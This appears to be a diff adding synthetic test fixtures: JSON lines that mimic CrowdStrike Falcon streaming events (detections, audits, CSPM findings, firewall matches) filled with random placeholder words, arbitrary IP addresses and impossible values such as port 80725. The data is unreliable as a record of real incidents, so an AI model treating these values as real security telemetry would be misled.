+{"metadata": {"customerIDString": "lightlogic","offset": -116759513,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "lazywrist","MobileDetectionId": 342256197,"ComputerName": "singleloss","UserName": "thathorror","ContextTimeStamp": 1649061056,"DetectId": "whyweek","DetectName": "thisdarkness","DetectDescription": "wisp sedge child murder determination wealth cackle flock crowd troop collection heap doctor case path murder bale motherhood cloud team singlewoman","Tactic": "eachpoint","TacticId": "fewstream","Technique": "onewidth","TechniqueId": "awfulgovernment","Objective": "lots ofmotherhood","Severity": 59,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/itteam?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "wheretrain station","AndroidAppLabel": "herethrill","DexFileHashes": "tensefear","ImageFileName": "whoseadvantage","AppInstallerInformation": "Hitlerianirritation","IsBeingDebugged": false,"AndroidAppVersionName": "sparseforest","IsContainerized": false}]}}
+{"metadata": {"customerIDString": "eachdivorce","offset": 1887561384,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "thankfulslavery","MobileDetectionId": -224577122,"ComputerName": "fullviolence","UserName": "Indianbread","ContextTimeStamp": 1649061056,"DetectId": "Canadianhost","DetectName": "orangestand","DetectDescription": "band rabbit life street computer caravan justice brace mistake troupe troop time anger exaltation time cast place plant company week sink Swazihedge","Tactic": "itwheelchair","TacticId": "ourcompany","Technique": "theseunemployment","TechniqueId": "Muscoviteanswer","Objective": "abundantbale","Severity": 44,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/hereworld?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "Sudaneseboat","AndroidAppLabel": "sparklynation","DexFileHashes": "thisbrilliance","ImageFileName": "doublecluster","AppInstallerInformation": "whatpart","IsBeingDebugged": true,"AndroidAppVersionName": "whatcandy","IsContainerized": true}]}}
+{"metadata": {"customerIDString": "theseenergy","offset": -1842784803,"eventType": "XdrDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"Author": "theseyear","DataDomains": "Web","Description": "game bitterness set health gang person freedom man crowd gossip whosecackle","DetectId": "anytea","EndTimeEpoch": 1643317697728000000,"IPv4Addresses": "24.6.89.201","HostNames": "Indianscold","Name": "whoseusage","PatternId": 1325466376,"Severity": 42,"SourceProducts": "bravebundle","SourceVendors": "puzzledregiment","StartTimeEpoch": 1643317697728000000,"TacticIds": "gracefulspoon","Tactics": "joyousriches","TechniqueIds": "Lincolnianfrailty","Techniques": "eachhouse","XdrType": "xdr-scheduled-search" } }}
+{"metadata": {"customerIDString": "Swisshost","offset": 413263399,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "thosegain","UserIp": "218.68.205.244","OperationName": "grantCustomerSubscriptions","ServiceName": "Crowdstrike Streaming API","Success": true,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "hergroup","ValueString": "Bahamianbow"}],"Attributes": {"actor_cid": "hisshopping","actor_user": "whyostrich","actor_user_uuid": "hownutrition","app_id": "everyonetribe","saml_assertion": "itstruth","target_user": "fewcoat","trace_id": "itorchard"}}}
+{"metadata": {"customerIDString": "whatvision","offset": -163226452,"eventType": "XdrDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"Author": "whichirritation","DataDomains": "Identity","Description": "anthology delay labour scold packet traffic welfare salt mother school crueleye","DetectId": "yourenvy","EndTimeEpoch": 1643317697728000000,"IPv4Addresses": "211.137.245.14","HostNames": "arroganttoothbrush","Name": "doubletribe","PatternId": -753145357,"Severity": 28,"SourceProducts": "delightfulstaff","SourceVendors": "Monacanswan","StartTimeEpoch": 1643317697728000000,"TacticIds": "Guyaneseyear","Tactics": "theirheart","TechniqueIds": "Egyptianchild","Techniques": "significantmotor","XdrType": "xdr-scheduled-search" } }}
+{"metadata": {"customerIDString": "whatcast","offset": 811925238,"eventType": "CSPMSearchStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "whyfact","Region": "us-west-2","ResourceId": "wherehorde","ResourceIdType": "thesejustice","ResourceName": "everybodylogic","ResourceCreateTime": 0,"PolicyStatement": "fewzebra","PolicyId": 688566234,"Severity": 22,"SeverityName": "Medium","CloudPlatform": "whichharm","CloudService": "manyhand","Disposition": "Passed","ResourceUrl": "pricklingsun","Finding": "mymustering","Tags": [{"Key": "cuteream","ValueString": "thoseharvest"}],"ReportUrl": "anyonebones","Timestamp": 1751371830}}
+{"metadata": {"customerIDString": "charmingoven","offset": -1010968197,"eventType": "CSPMSearchStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "cleverproblem","Region": "us-west-1","ResourceId": "allcleverness","ResourceIdType": "whatgovernment","ResourceName": "gracefuldisregard","ResourceCreateTime": 0,"PolicyStatement": "whereset","PolicyId": 2075386905,"Severity": 79,"SeverityName": "High","CloudPlatform": "everythingwhale","CloudService": "sufficientmethod","Disposition": "Passed","ResourceUrl": "over therecomb","Finding": "whatdoctor","Tags": [{"Key": "oneday","ValueString": "onehouse"}],"ReportUrl": "everyonewoman","Timestamp": 1751371830}}
+{"metadata": {"customerIDString": "nonefleet","offset": -1840396919,"eventType": "FirewallMatchEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"DeviceId": "thatparty","CustomerId": "whywheat","Ipv": "229.134.79.18","CommandLine": "therechild","ConnectionDirection": "2","EventType": "FirewallRuleIP4Matched","Flags": {"Audit": false,"Log": false,"Monitor": true},"HostName": "wherehost","ICMPCode": "anypair","ICMPType": "whosetribe","ImageFileName": "howgrains","LocalAddress": "121.215.68.4","LocalPort": "80725","MatchCount": 1278266109,"MatchCountSinceLastReport": -1170101990,"NetworkProfile": "mythrill","PID": "-1771055778","PolicyName": "thosefleet","PolicyID": "whoseriver","Protocol": "yourbale","RemoteAddress": "42.0.82.34","RemotePort": "6289","RuleAction": "dangerousprofessor","RuleDescription": "thrill philosophy calm scold hedge packet child knowledge microscope mustering week year brace wherevillage","RuleFamilyID": "someonerice","RuleGroupName": "wherejoy","RuleName": "yourapp","RuleId": "herbody","Status": "thoseream","Timestamp": 1751371830,"TreeID": "pleasantbowl"}}
+{"metadata": {"customerIDString": "nichejuice","offset": 1727918718,"eventType": "XdrDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"Author": "Danishnap","DataDomains": "Email","Description": "team coffee palm basket riches tea pumpkin clothing stand annoyance pack party salt success year severalstaff","DetectId": "itring","EndTimeEpoch": 1643317697728000000,"IPv4Addresses": "63.219.163.204","HostNames": "Mayanbook","Name": "hertroop","PatternId": 1262235642,"Severity": 16,"SourceProducts": "over therewhale","SourceVendors": "itspacket","StartTimeEpoch": 1643317697728000000,"TacticIds": "thosegovernment","Tactics": "Atlanticproblem","TechniqueIds": "mypoverty","Techniques": "Balineseloneliness","XdrType": "xdr" } }}
+{"metadata": {"customerIDString": "severalheap","offset": 1070529402,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "somebodyforest","HostnameField": "wheresedge","UserName": "hisbale","StartTimestamp": 1582830734,"AgentIdString": "a lotprogram"}}
+{"metadata": {"customerIDString": "theretime","offset": 213099884,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "obedientcare","DetectName": "lots ofblock","DetectDescription": "station bottle stack dynasty lamb animal leap woman trip wisp day dream way brilliance beans hedge king enthusiasticman","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/ournumber?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 7,"SeverityName": "High","Tactic": "thereluck","Technique": "Chineseparty","Objective": "emptytroupe","SourceAccountDomain": "dizzyingposse","SourceAccountName": "Balineseelegance","SourceAccountObjectSid": "numerousdream","SourceEndpointAccountObjectGuid": "thoughtfuldeer","SourceEndpointAccountObjectSid": "whycheese","SourceEndpointHostName": "whosefoot","SourceEndpointIpAddress": "223.140.102.228","SourceEndpointSensorId": "enoughpatrol","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "Japaneselife","PatternId": -380100246}}
+{"metadata": {"customerIDString": "wheresofa","offset": 1880427403,"eventType": "CSPMSearchStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "enoughtime","Region": "us-east-2","ResourceId": "whatfact","ResourceIdType": "couplerhythm","ResourceName": "significantmob","ResourceCreateTime": 0,"PolicyStatement": "over thereset","PolicyId": 1987705020,"Severity": 15,"SeverityName": "Medium","CloudPlatform": "allbattery","CloudService": "mytribe","Disposition": "Failed","ResourceUrl": "thatintelligence","Finding": "someonewealth","Tags": [{"Key": "howmob","ValueString": "quaintwidth"}],"ReportUrl": "theredoctor","Timestamp": 1751371830}}
+{"metadata": {"customerIDString": "elegantcap","offset": 1119455354,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "Machiavelliangossip","MobileDetectionId": 1572789320,"ComputerName": "hundredcompany","UserName": "a lotmarriage","ContextTimeStamp": 1649061056,"DetectId": "onecluster","DetectName": "neitherdarkness","DetectDescription": "plant tribe tunnel television way abundantbunch","Tactic": "mything","TacticId": "Parisianlamp","Technique": "brownscold","TechniqueId": "hermother","Objective": "over thereanthology","Severity": 38,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/thatpride?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "someoneharvest","AndroidAppLabel": "over thereflock","DexFileHashes": "smoggybunch","ImageFileName": "therepod","AppInstallerInformation": "therenest","IsBeingDebugged": true,"AndroidAppVersionName": "repulsivestand","IsContainerized": true}]}}
+{"metadata": {"customerIDString": "heredentist","offset": -790417217,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "onehand","HostnameField": "stupidtrip","UserName": "someflock","StartTimestamp": 1582830734,"AgentIdString": "manygovernment"}}
+{"metadata": {"customerIDString": "itsedge","offset": -1898740542,"eventType": "XdrDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"Author": "whystaff","DataDomains": "Cloud","Description": "trade clarity bunch cat crew electricity band thought fuel howfleet","DetectId": "couplecompany","EndTimeEpoch": 1643317697728000000,"IPv4Addresses": "192.109.66.89","HostNames": "somebodyleap","Name": "allman","PatternId": 808009428,"Severity": 85,"SourceProducts": "substantialenergy","SourceVendors": "itslife","StartTimeEpoch": 1643317697728000000,"TacticIds": "Colombianbaby","Tactics": "nobodyengine","TechniqueIds": "howcompany","Techniques": "Alaskantent","XdrType": "xdr-scheduled-search" } }}
+{"metadata": {"customerIDString": "greatfailure","offset": 149873024,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "Viennesecovey","IncidentDescription": "child suitcase range gas station wealth lamb lamb publicity station party tomatoes troop eye union choir tent howexaltation","Severity": 24,"SeverityName": "Medium","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "uglyluck","UserName": "enchantednews","EndpointName": "everyonebale","EndpointIp": "101.177.37.39","Category": "Detections","NumbersOfAlerts": 786630224,"NumberOfCompromisedEntities": 1582548137,"State": "NEW","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/joyoushorror?_cid=xxxxxxx"}}
+{"metadata": {"customerIDString": "yourream","offset": 1961545286,"eventType": "ScheduledReportNotificationEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserUUID": "toocackle","UserID": "whatbrace","ExecutionID": "whytable","ReportID": "everyoneparty","ReportName": "Lebanesebatch","ReportType": "Diabolicaleye","ReportFileReference": "everythingboat","Status": "Spanishline","StatusMessage": "hisstar","ExecutionMetadata": {"ExecutionStart": 1120190420,"ExecutionDuration": -615806240,"ReportFileName": "thesemustering","ResultCount": -143096838,"ResultID": "coupleroad","SearchWindowStart": 549100716,"SearchWindowEnd": 1553138222}}}
+{"metadata": {"customerIDString": "whatgroup","offset": 1034109684,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "Barcelonianmurder","UserIp": "105.162.182.4","OperationName": "createUser","ServiceName": "Crowdstrike Streaming API","Success": false,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "hereshower","ValueString": "anythingcompany"}],"Attributes": {"actor_cid": "manysafety","actor_user": "sufficientpaper","actor_user_uuid": "fewelegance","app_id": "whichmotherhood","saml_assertion": "condemnedcheese","target_user": "onelips","trace_id": "amusedbale"}}}
+{"metadata": {"customerIDString": "Burkinesecup","offset": 305373083,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "significantbrace","UserIp": "110.77.63.34","OperationName": "selfAcceptEula","ServiceName": "detections","Success": true,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "lonelyyear","ValueString": "whichevidence"}],"Attributes": {"actor_cid": "smilingbattery","actor_user": "itsmedicine","actor_user_uuid": "eithercaptain","app_id": "Spanishsedge","saml_assertion": "a little bitnest","target_user": "awfulluxury","trace_id": "whatgirl"}}}
+{"metadata": {"customerIDString": "whyquantity","offset": 1896250844,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": 374328473,"ProcessEndTime": 1925826440,"ProcessId": 471551332,"ParentProcessId": 1611641070,"ComputerName": "repulsivejustice","UserName": "thereright","DetectName": "anyonestring","DetectDescription": "part line choir advantage happiness cackle posse mob troop bundle crew time nest whereimagination","Severity": 0,"SeverityName": "Low","FileName": "littletroupe","FilePath": "ourcrew\\littletroupe","CommandLine": "C:\\Windows\\itscomputer","SHA256String": "Alaskanline","MD5String": "someoneemployment","SHA1String": "lovelycongregation","MachineDomain": "mybevy","NetworkAccesses": [{"AccessType": -81898620,"AccessTimestamp": 1751371565,"Protocol": "Romanianreligion","LocalAddress": "204.59.171.39","LocalPort": 10526,"RemoteAddress": "205.40.121.146","RemotePort": 14937,"ConnectionDirection": 1,"IsIPV6": false}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/enough offurniture?_cid=xxxxxxx","SensorId": "hertroupe","IOCType": "hash_sha256","IOCValue": "worrisomewisp","DetectId": "thesebatch","LocalIP": "132.4.202.152","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "yourproblem","Technique": "charmingyouth","Objective": "fullcompany","PatternDispositionDescription": "posse trend herewater","PatternDispositionValue": -134342907,"PatternDispositionFlags": {"Indicator": true,"Detect": false,"InddetMask": true,"SensorOnly": false,"Rooting": false,"KillProcess": true,"KillSubProcess": true,"QuarantineMachine": true,"QuarantineFile": false,"PolicyDisabled": true,"KillParent": true,"OperationBlocked": true,"ProcessBlocked": true,"RegistryOperationBlocked": false,"CriticalProcessDisabled": true,"BootupSafeguardEnabled": false,"FsOperationBlocked": false,"HandleOperationDowngraded": false,"KillActionFailed": false,"BlockingUnsupportedOrDisabled": false,"SuspendProcess": true,"SuspendParent": false},"ParentImageFileName": "severalcabinet","ParentCommandLine": "manyunderstanding","GrandparentImageFileName": "whyharvest","GrandparentCommandLine": "thosecomb","HostGroups": "Welshstaff","AssociatedFile": "whichrubbish","PatternId": -78970361}}
+{"metadata": {"customerIDString": "whichchest","offset": -370463590,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "uglyband","UserIp": "42.215.240.82","OperationName": "deactivateUser","ServiceName": "Crowdstrike Streaming API","Success": false,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "thattown","ValueString": "emptygroup"}],"Attributes": {"actor_cid": "a lotsalt","actor_user": "lots ofannoyance","actor_user_uuid": "wheretroop","app_id": "itsroom (space)","saml_assertion": "everythingwashing machine","target_user": "braveglasses","trace_id": "somebodybatch"}}}
+{"metadata": {"customerIDString": "anythingway","offset": 467314223,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "hungrycase","UserIp": "54.163.170.166","OperationName": "updateUserRoles","ServiceName": "detections","Success": false,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "Jungiancaravan","ValueString": "thosegown"}],"Attributes": {"actor_cid": "hiskid","actor_user": "herclass","actor_user_uuid": "perfectmob","app_id": "Italianforest","saml_assertion": "uglyginger","target_user": "someonepod","trace_id": "therebevy"}}}
+{"metadata": {"customerIDString": "so fewquiver","offset": 1070716380,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "anythingtour","DetectName": "whichleap","DetectDescription": "laptop somebodything","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/whereboard?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 36,"SeverityName": "Informational","Tactic": "myposse","Technique": "significantstack","Objective": "wanderingmob","SourceAccountDomain": "poisedapartment","SourceAccountName": "somepoint","SourceAccountObjectSid": "whoseday","SourceEndpointAccountObjectGuid": "anyonearmy","SourceEndpointAccountObjectSid": "thosecrew","SourceEndpointHostName": "oneturtle","SourceEndpointIpAddress": "247.26.195.106","SourceEndpointSensorId": "itsinformation","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "whatbevy","PatternId": -1220474550}}
+{"metadata": {"customerIDString": "eachunderstanding","offset": -587153472,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "wrongcollection","MobileDetectionId": -574613663,"ComputerName": "wherebody","UserName": "drabposse","ContextTimeStamp": 1649061056,"DetectId": "myheat","DetectName": "thosefact","DetectDescription": "table heap deceit star bowl tour cloud bunch riches time nutrition collection air part seed everybodypacket","Tactic": "Christianrefrigerator","TacticId": "Sudanesedata","Technique": "enough ofgossip","TechniqueId": "hundredsthing","Objective": "victoriousproject","Severity": 21,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/arrogantroom?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "itsboxers","AndroidAppLabel": "foolishschool","DexFileHashes": "outstandingbattery","ImageFileName": "wherechild","AppInstallerInformation": "Bismarckianteam","IsBeingDebugged": false,"AndroidAppVersionName": "myrestaurant","IsContainerized": false}]}}
+{"metadata": {"customerIDString": "whoseapp","offset": -425822831,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "theirverb","HostnameField": "herestupidity","UserName": "somebodycarpet","StartTimestamp": 1582830734,"AgentIdString": "thistablet"}}
+{"metadata": {"customerIDString": "zealouspopcorn","offset": -1751655908,"eventType": "XdrDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"Author": "whatfact","DataDomains": "Email","Description": "brace kindness sugar heap case staff fish company judge book snow paper laughter crow significantadvice","DetectId": "thoseexaltation","EndTimeEpoch": 1643317697728000000,"IPv4Addresses": "254.183.207.200","HostNames": "Chinesepicture","Name": "hiscatalog","PatternId": -2111882047,"Severity": 88,"SourceProducts": "itsflock","SourceVendors": "theirrice","StartTimeEpoch": 1643317697728000000,"TacticIds": "thesesand","Tactics": "hercluster","TechniqueIds": "couplebunch","Techniques": "everybodyline","XdrType": "xdr-scheduled-search" } }}
+{"metadata": {"customerIDString": "itsgrandfather","offset": 1099121215,"eventType": "CSPMSearchStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "greatwork","Region": "us-west-1","ResourceId": "thereeducation","ResourceIdType": "someonemustering","ResourceName": "realistichospital","ResourceCreateTime": 0,"PolicyStatement": "couplesolitude","PolicyId": -787790530,"Severity": 10,"SeverityName": "High","CloudPlatform": "coupleadvantage","CloudService": "lots ofsock","Disposition": "Passed","ResourceUrl": "Hitleriantrip","Finding": "itcatalog","Tags": [{"Key": "over thereunderstanding","ValueString": "horriblewisp"}],"ReportUrl": "everybodymob","Timestamp": 1751371830}}
+{"metadata": {"customerIDString": "yourwork","offset": 1076918008,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "substantialusage","UserIp": "179.135.243.128","OperationName": "grantCustomerSubscriptions","ServiceName": "Crowdstrike Streaming API","Success": false,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "tastyanswer","ValueString": "anyscold"}],"Attributes": {"actor_cid": "tensewindow","actor_user": "littlearmy","actor_user_uuid": "Einsteinianbelief","app_id": "fewspaghetti","saml_assertion": "Britishneck","target_user": "everybodyhand","trace_id": "whatcase"}}}
+{"metadata": {"customerIDString": "everybodyset","offset": 836335149,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "severalalligator","MobileDetectionId": 1943762630,"ComputerName": "eagerhorde","UserName": "yourset","ContextTimeStamp": 1649061056,"DetectId": "noneface","DetectName": "somebodyfreedom","DetectDescription": "life tooriches","Tactic": "wheresuccess","TacticId": "scarycrowd","Technique": "fewcatalog","TechniqueId": "Finnishbitterness","Objective": "thathand","Severity": 70,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/Sammarinesenotebook?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "gentlebrother","AndroidAppLabel": "puzzledbasket","DexFileHashes": "awfulgalaxy","ImageFileName": "ourcup","AppInstallerInformation": "Polynesiantroupe","IsBeingDebugged": false,"AndroidAppVersionName": "Gaussianplace","IsContainerized": true}]}}
+{"metadata": {"customerIDString": "severaljoy","offset": 516490988,"eventType": "CSPMIOAStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "jealousfriend","PolicyId": 469826311,"PolicyStatement": "thatbouquet","CloudProvider": "Newtonianparrot","CloudService": "dizzyingcovey","Severity": 46,"SeverityName": "Medium","EventAction": "Lebanesemob","EventSource": "oneparty","EventCreatedTimestamp": 1663011160,"UserId": "doublecluster","UserName": "nervousscold","UserSourceIp": "53.155.232.168","Tactic": "doublegrandfather","Technique": "toobeach"}}
+{"metadata": {"customerIDString": "Peruvianpod","offset": 550404721,"eventType": "FirewallMatchEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"DeviceId": "ourgloves","CustomerId": "neitherpart","Ipv": "8.47.107.55","CommandLine": "ourthing","ConnectionDirection": "0","EventType": "FirewallRuleIP4Matched","Flags": {"Audit": true,"Log": false,"Monitor": false},"HostName": "fancyprogress","ICMPCode": "whosegroup","ICMPType": "thosearmy","ImageFileName": "yourcrowd","LocalAddress": "143.162.134.202","LocalPort": "68492","MatchCount": -1188814932,"MatchCountSinceLastReport": -1389098824,"NetworkProfile": "anyonenoun","PID": "1819726482","PolicyName": "wanderingcast","PolicyID": "ourbody","Protocol": "Middle Easternawareness","RemoteAddress": "166.172.215.153","RemotePort": "71013","RuleAction": "Barcelonianarrow","RuleDescription": "truth company sister set fact pod harvest brace smoke year theregame","RuleFamilyID": "severaltiming","RuleGroupName": "Monacanwoman","RuleName": "wickedbale","RuleId": "whymuster","Status": "yourbutter","Timestamp": 1751371830,"TreeID": "onecase"}}
+{"metadata": {"customerIDString": "significantream","offset": -900942813,"eventType": "EppDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AgentId": "howworld","AggregateId": "xxxxxx:529fb8e5xxxxxxxx5d577e3f:38655211725","CommandLine": "C:\\Windows\\Mozartianteam","CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DataDomains": "Cloud","Description": "work dangerousflock","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/hisproblem?_cid=xxxxxxx","FileName": "anyhall","FilePath": "eachline\\anyhall","FilesAccessed": [{"FileName": "anyhall","FilePath": "eachline\\anyhall","Timestamp": 1751371830}],"FilesWritten": [{"FileName": "anyhall","FilePath": "eachline\\anyhall","Timestamp": 1751371830}],"GrandParentCommandLine": "C:\\Windows\\herearmy","GrandParentImageFileName": "wherecat","GrandParentImageFilePath": "herehospital\\wherecat","HostGroups": "whitesecond","Hostname": "itsday","LocalIP": "41.220.181.243","LocalIPv6": "98.238.152.78","LogonDomain": "someonecluster","MACAddress": "ba-xx-00-xx-d0-00","MD5String": "thisluxury","Name": "manythrill","NetworkAccesses": [{"AccessTimestamp": 1751371565,"AccessType": 1302319275,"ConnectionDirection": 1,"IsIPV6": false,"LocalAddress": "159.103.65.155","LocalPort": 18924,"Protocol": "Freudianbattery","RemoteAddress": "170.74.114.32","RemotePort": 17713}],"Objective": "itchybread","ParentCommandLine": "C:\\Windows\\whathen\\herrubbish","ParentImageFileName": "herrubbish","ParentImageFilePath": "somebodylie\\herrubbish","ParentProcessId": 996063762,"PatternDispositionDescription": "thing scold sorrow education quiver archipelago staff reel homework scold forest fewgroup","PatternDispositionFlags": {"BlockingUnsupportedOrDisabled": true,"BootupSafeguardEnabled": true,"ContainmentFileSystem": false,"CriticalProcessDisabled": true,"Detect": false,"FsOperationBlocked": false,"HandleOperationDowngraded": true,"InddetMask": false,"Indicator": false,"KillActionFailed": false,"KillParent": true,"KillProcess": true,"KillSubProcess": false,"OperationBlocked": false,"PolicyDisabled": false,"ProcessBlocked": true,"QuarantineFile": false,"QuarantineMachine": false,"RegistryOperationBlocked": true,"Rooting": false,"SensorOnly": false,"SuspendParent": false,"SuspendProcess": true},"PatternDispositionValue": -1578117058,"PatternId": -1580414227,"PlatformId": "itsmustering","PlatformName": "Mac","ProcessEndTime": -505637706,"ProcessId": -1545954875,"ProcessStartTime": 1877761422,"ReferrerUrl": "whatfinger","SHA1String": "someonebowl","SHA256String": "itgovernment","Severity": 74,"SeverityName": "High","SourceProducts": "a little bitboard","SourceVendors": "wrongplace","Tactic": "thisbevy","Technique": "whosefood","Type": "ofp","UserName": "doubletown"}}
+{"metadata": {"customerIDString": "theirschool","offset": -104094373,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": -234636472,"ProcessEndTime": 1339241224,"ProcessId": 1065673297,"ParentProcessId": -1472960077,"ComputerName": "noneline","UserName": "Bahamiansnowman","DetectName": "itcomputer","DetectDescription": "album mob archipelago friendship success horde company batch right harvest dream guilt heat group shop energy woman nap hisperson","Severity": 0,"SeverityName": "Low","FileName": "itsleap","FilePath": "smoggybale\\itsleap","CommandLine": "C:\\Windows\\knightlybattery","SHA256String": "eachadvertising","MD5String": "herehorror","SHA1String": "fullrice","MachineDomain": "faithfulcrime","NetworkAccesses": [{"AccessType": -1852376208,"AccessTimestamp": 1751371565,"Protocol": "coupleworld","LocalAddress": "87.185.241.72","LocalPort": 25948,"RemoteAddress": "215.250.80.64","RemotePort": 64750,"ConnectionDirection": 1,"IsIPV6": true}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/South Americanmilk?_cid=xxxxxxx","SensorId": "wheresinger","IOCType": "command_line","IOCValue": "somebodycase","DetectId": "theseenthusiasm","LocalIP": "33.102.92.179","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "jitterygroup","Technique": "upsetcoffee","Objective": "myblock","PatternDispositionDescription": "stupidity fact orchard range exaltation idea case product horde life troupe idea murder board holiday welfare girl thismuster","PatternDispositionValue": 154868586,"PatternDispositionFlags": {"Indicator": true,"Detect": false,"InddetMask": false,"SensorOnly": false,"Rooting": true,"KillProcess": true,"KillSubProcess": false,"QuarantineMachine": false,"QuarantineFile": true,"PolicyDisabled": false,"KillParent": false,"OperationBlocked": true,"ProcessBlocked": false,"RegistryOperationBlocked": true,"CriticalProcessDisabled": false,"BootupSafeguardEnabled": true,"FsOperationBlocked": false,"HandleOperationDowngraded": false,"KillActionFailed": true,"BlockingUnsupportedOrDisabled": true,"SuspendProcess": false,"SuspendParent": true},"ParentImageFileName": "Atlanticsoup","ParentCommandLine": "a little bitvalley","GrandparentImageFileName": "Romanianyoga","GrandparentCommandLine": "thismustering","HostGroups": "allcollection","AssociatedFile": "Belgianlibrary","PatternId": 1038143163}}
+{"metadata": {"customerIDString": "therebasket","offset": -1482063069,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "anythinglibrary","State": "closed","FineScore": 9.621915223550307,"LateralMovement": 0,"IncidentType": 2,"IncidentID": "sillybody","HostID": "thisquantity","LMHostIDs": ["theirrice"],"UserId": "someeye"}}
+{"metadata": {"customerIDString": "theireye","offset": 1505022070,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "theseheap","IncidentDescription": "truth exaltation body courage river crowd crew chocolate problem pen metal stand riches toothbrush jealousy dream wealth board right way market bundle advice fantasticanthology","Severity": 73,"SeverityName": "Low","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "Slovakparty","UserName": "anythingring","EndpointName": "annoyingmarriage","EndpointIp": "7.236.10.163","Category": "Incidents","NumbersOfAlerts": 1201378806,"NumberOfCompromisedEntities": 1292674977,"State": "IN_PROGRESS","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/Koreanroad?_cid=xxxxxxx"}}
